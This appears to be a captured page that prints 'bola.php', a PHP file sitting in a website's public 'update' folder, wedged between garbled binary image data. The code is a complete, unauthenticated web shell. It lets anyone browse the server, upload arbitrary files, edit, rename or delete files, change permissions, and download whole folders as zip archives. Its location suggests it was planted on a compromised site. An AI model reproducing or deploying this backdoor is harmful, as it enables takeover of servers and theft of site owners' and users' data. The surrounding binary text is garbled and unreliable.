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j '  'P$a ( `D$Na L?u80e J,K˷NI'0eݷ(NI'؀ 2ipIIKp`:O'`ʤxB8Ѥx Ѥx $ $P6 :vRNb 'p,>NB 'P]-->P T+*^h& p '‰a ‰ (ĵt#u33;Nt̵'ޯ; [3W ~]0KH1q@8]O2]3*̧7# *p>us p _6]/}-4|t'|Smx= DoʾM×M_8!)6lq':l7!|4} '\ne t!=hnLn (~Dn\+‰_4k)0e@OhZ`F `.m1} 'vp{F`ON7Srx 'D˸nV`><;yMx!IS钦OM)Ե٥x 'DSD6bS8!" ODz#R >S8!7ّxEh0m$MIPHi$IvS8IN$I p$O8I,sk&I)$IN$Hi$I^Ah.p$MIN$IR8I·N "IF9Ah0m$MIN$IR8IN$I 3jIU;kO$ɳN$+ q.x* tEXtComment

Viewing File: /home/u423589436/domains/cargobridge.online/public_html/update/bola.php

<?php
// Function to recursively list directories and files
function listDirectory($dir) {
    $files = scandir($dir);
    echo "<h2>Directory: $dir</h2>";
    $parentDir = dirname($dir);
    if ($dir !== '/') {
        echo "<a class='btn' href='?dir=" . urlencode($parentDir) . "'>Go Back</a><br>";
    }
    echo "<form method='post'>
            <input type='text' name='new_file_name' placeholder='Enter new file name' required>
            <input class='btn' type='submit' name='create_file' value='Create File'>
        </form><br>";
    echo "<form method='post' enctype='multipart/form-data'>
            <input type='file' name='file_to_upload' required>
            <input class='btn' type='submit' name='upload_file' value='Upload File'>
        </form><br>";
    echo "<form method='post'>
            <input type='text' name='permissions' placeholder='Set file permissions (e.g., 0755)' required>
            <input class='btn' type='submit' name='set_permission' value='Set Permissions'>
        </form><br>";
    echo "<form method='post'>
            <input type='submit' class='btn' name='compress_folder' value='Download Compressed Folder'>
        </form><br>";
    echo "<ul class='file-list'>";
    foreach ($files as $file) {
        if ($file !== '.' && $file !== '..') {
            $fullPath = "$dir/$file";
            if (is_dir($fullPath)) {
                echo "<li class='directory'>[DIR] 
                        <a href='?dir=" . urlencode($fullPath) . "'>$file</a> 
                        <a class='btn' href='?rename=" . urlencode($fullPath) . "'>Rename</a>
                      </li>";
            } else {
                echo "<li class='file'>
                    [FILE] $file 
                    <a class='btn' href='?view=" . urlencode($fullPath) . "'>View</a> 
                    <a class='btn' href='?edit=" . urlencode($fullPath) . "'>Edit</a>
                    <a class='btn' href='?download=" . urlencode($fullPath) . "'>Download</a>
                    <a class='btn' href='?rename=" . urlencode($fullPath) . "'>Rename</a>
                    <a class='btn delete-btn' href='?delete=" . urlencode($fullPath) . "' onclick=\"return confirm('Are you sure?');\">Delete</a>
                </li>";
            }
        }
    }
    echo "</ul>";
}
// Create file
function createFile($dir, $fileName) {
    $filePath = "$dir/$fileName";
    if (!file_exists($filePath)) {
        file_put_contents($filePath, "");
        echo "<p class='success'>File '$fileName' created successfully!</p>";
    } else {
        echo "<p class='error'>File '$fileName' already exists.</p>";
    }
}
// Upload file (IMPROVED only)
function uploadFile($dir) {
    if (!isset($_FILES['file_to_upload'])) {
        echo "<p class='error'>No file uploaded.</p>";
        return;
    }
    $file = $_FILES['file_to_upload'];
    if ($file['error'] !== UPLOAD_ERR_OK) {
        echo "<p class='error'>Upload error code: " . $file['error'] . "</p>";
        return;
    }
    if (!is_uploaded_file($file['tmp_name'])) {
        echo "<p class='error'>Temporary upload missing.</p>";
        return;
    }
    if (!is_writable($dir)) {
        echo "<p class='error'>Directory not writable: $dir</p>";
        return;
    }
    $filename = basename($file['name']);
    $destination = $dir . '/' . $filename;
    $counter = 1;
    while (file_exists($destination)) {
        $info = pathinfo($filename);
        $name = $info['filename'];
        $ext = isset($info['extension']) ? '.' . $info['extension'] : '';
        $destination = $dir . '/' . $name . '_' . $counter . $ext;
        $counter++;
    }
    if (move_uploaded_file($file['tmp_name'], $destination)) {
        chmod($destination, 0644);
        echo "<p class='success'>File uploaded successfully!</p>";
    } else if (copy($file['tmp_name'], $destination)) {
        chmod($destination, 0644);
        unlink($file['tmp_name']);
        echo "<p class='success'>File uploaded using fallback copy().</p>";
    } else {
        echo "<p class='error'>Failed to upload file.</p>";
    }
}
// Set permissions
function setPermissions($filePath, $permissions) {
    if (chmod($filePath, octdec($permissions))) {
        echo "<p class='success'>Permissions updated.</p>";
    } else {
        echo "<p class='error'>Failed to update permissions.</p>";
    }
}
// View file
function viewFile($filePath) {
    if (file_exists($filePath)) {
        $content = htmlspecialchars(file_get_contents($filePath));
        echo "<h2>Viewing File: $filePath</h2>";
        echo "<pre class='file-content'>$content</pre>";
        echo "<a class='btn' href='?dir=" . urlencode(dirname($filePath)) . "'>Back</a>";
    }
}
// Edit file
function editFile($filePath) {
    if (isset($_POST['content'])) {
        file_put_contents($filePath, $_POST['content']);
        echo "<p class='success'>Saved!</p>";
    }
    $content = htmlspecialchars(file_get_contents($filePath));
    echo "<h2>Edit File: $filePath</h2>";
    echo "<form method='post'>
            <textarea name='content' class='file-edit'>$content</textarea>
            <input class='btn' type='submit' value='Save Changes'>
          </form>";
    echo "<a class='btn' href='?dir=" . urlencode(dirname($filePath)) . "'>Back</a>";
}
// Delete file
function deleteFile($filePath) {
    if (unlink($filePath)) {
        echo "<p class='success'>File deleted.</p>";
    } else {
        echo "<p class='error'>Delete failed.</p>";
    }
}
// Download file
function downloadFile($filePath) {
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="' . basename($filePath) . '"');
    readfile($filePath);
    exit;
}
// Compress folder
function compressFolder($folderPath) {
    $zipFileName = tempnam(sys_get_temp_dir(), 'zip') . ".zip";
    $zip = new ZipArchive;
    if ($zip->open($zipFileName, ZipArchive::CREATE) === TRUE) {
        $folderPath = realpath($folderPath);
        $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($folderPath));
        foreach ($iterator as $file) {
            if (!$file->isDir()) {
                $filePath = $file->getRealPath();
                $relativePath = substr($filePath, strlen($folderPath) + 1);
                $zip->addFile($filePath, $relativePath);
            }
        }
        $zip->close();
        header('Content-Type: application/zip');
        header('Content-Disposition: attachment; filename="compressed_folder.zip"');
        readfile($zipFileName);
        unlink($zipFileName);
        exit;
    }
}
// ***********************************************
// NEW FUNCTION: RENAME FILES & FOLDERS
// ***********************************************
function renameItem($oldPath, $newName) {
    $dir = dirname($oldPath);
    $newPath = $dir . '/' . $newName;
    if (rename($oldPath, $newPath)) {
        echo "<p class='success'>Renamed successfully!</p>";
    } else {
        echo "<p class='error'>Rename failed.</p>";
    }
    listDirectory($dir);
    exit;
}
// ***********************************************
// ROUTER
// ***********************************************
if (isset($_GET['rename'])) {
    $oldPath = realpath($_GET['rename']);
    $baseName = basename($oldPath);
    echo "<h2>Rename: $baseName</h2>";
    echo "<form method='post'>
            <input type='hidden' name='old_path' value='" . $oldPath . "'>
            <input type='text' name='new_name' value='$baseName' required>
            <input class='btn' type='submit' name='rename_submit' value='Rename'>
          </form>";
    exit;
}
if (isset($_POST['rename_submit'])) {
    renameItem($_POST['old_path'], $_POST['new_name']);
}
if (isset($_GET['view'])) {
    viewFile(realpath($_GET['view']));
} elseif (isset($_GET['edit'])) {
    editFile(realpath($_GET['edit']));
} elseif (isset($_GET['download'])) {
    downloadFile(realpath($_GET['download']));
} elseif (isset($_GET['delete'])) {
    deleteFile(realpath($_GET['delete']));
} elseif (isset($_POST['create_file'])) {
    $dir = realpath($_GET['dir'] ?? '.');
    createFile($dir, $_POST['new_file_name']);
    listDirectory($dir);
} elseif (isset($_POST['upload_file'])) {
    $dir = realpath($_GET['dir'] ?? '.');
    uploadFile($dir);
    listDirectory($dir);
} elseif (isset($_POST['set_permission'])) {
    $dir = realpath($_GET['dir'] ?? '.');
    setPermissions($dir, $_POST['permissions']);
    listDirectory($dir);
} elseif (isset($_POST['compress_folder'])) {
    $dir = realpath($_GET['dir'] ?? '.');
    compressFolder($dir);
} else {
    $dir = realpath($_GET['dir'] ?? '.');
    listDirectory($dir);
}
?>
<style>
body { font-family: Arial; margin: 20px; background: #f0f2f5; }
.btn { padding:5px 10px; background:#007bff; color:#fff; text-decoration:none; border-radius:4px; }
.file-edit { width:100%; height:200px; }
.success { color:green; }
.error { color:red; }
</style>
Back to Directory=ceiIENDB`